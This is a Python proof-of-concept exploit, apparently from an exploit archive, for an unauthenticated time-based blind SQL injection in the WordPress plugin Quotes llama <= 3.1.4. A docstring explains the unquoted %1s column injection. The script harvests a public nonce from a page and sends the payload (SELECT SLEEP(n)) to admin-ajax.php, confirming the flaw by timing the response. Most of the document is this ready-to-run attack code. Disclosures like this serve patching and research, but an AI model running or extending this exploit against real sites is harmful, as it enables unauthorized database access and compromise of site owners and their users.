Share
## https://sploitus.com/exploit?id=PACKETSTORM:226463
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Quotes llama <= 3.1.4 - Unauthenticated Time-Based Blind SQL Injection (select_search)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quotes-llama/
    # Software Link: https://downloads.wordpress.org/plugin/quotes-llama.3.1.4.zip
    # Version: 3.1.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-56062
    """
    Quotes llama <= 3.1.4 registers the unauthenticated AJAX action select_search
    (class-quotesllama.php:1050 wp_ajax_nopriv_select_search). The `sc` (search column) POST parameter
    is passed as the %1s argument of a wpdb::prepare() call (class-quotesllama.php ~2094):
    
        'SELECT ... FROM ' . $wpdb->prefix . 'quotes_llama' .
        ' WHERE %1s LIKE %s ORDER BY ...', $search_column, $like
    
    `%1s` (width-modified) is NOT quoted by wpdb::prepare โ€” its quoting regex only matches a bare `%s` โ€”
    and `$search_column` is not validated as an identifier, so `sc` is injected raw into column
    position. sanitize_text_field() leaves parentheses/spaces intact.
    
    Payload sc=(SELECT SLEEP(5)) executes while the query evaluates a quote row ->
        ... WHERE (SELECT SLEEP(5)) LIKE '%x%' ORDER BY ...
    
    The handler requires a `quotes_llama_nonce` (verified at ~:2092). Any public page rendering a
    quotes-llama shortcode prints it: gallery/auto modes embed gnonce="..." unconditionally; search
    mode embeds nonce="..." when anonymous search is enabled. This PoC harvests it from such a page.
    
    Prior state: plugin active (auto-creates wp_quotes_llama), at least one quote, and a published page
    with a quotes-llama shortcode (e.g. [quotes-llama mode='gallery']).
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def harvest_nonce(base, page):
        h = requests.get(base + page, verify=False, timeout=20).text
        m = re.findall(r'g?nonce="([a-f0-9]{10})"', h)
        return m[0] if m else None
    
    
    def probe(base, nonce, seconds):
        d = {"action": "select_search", "search_form": "1", "nonce": nonce, "term": "x",
             "sc": "(SELECT SLEEP(%d))" % seconds, "target": "quotes-llama-search"}
        t = time.time()
        requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--page", default="/qlg/", help="path of a page with a quotes-llama shortcode")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        nonce = harvest_nonce(base, args.page)
        if not nonce:
            print(f"[-] no quotes_llama nonce on {args.page} (add a [quotes-llama mode='gallery'] page)")
            return 1
        print(f"[*] Target: {base} | quotes_llama_nonce: {nonce}")
        t0 = probe(base, nonce, 0)
        t5 = probe(base, nonce, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"unauthenticated response by {t5 - t0:.2f}s (sc parameter, %1s column position).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())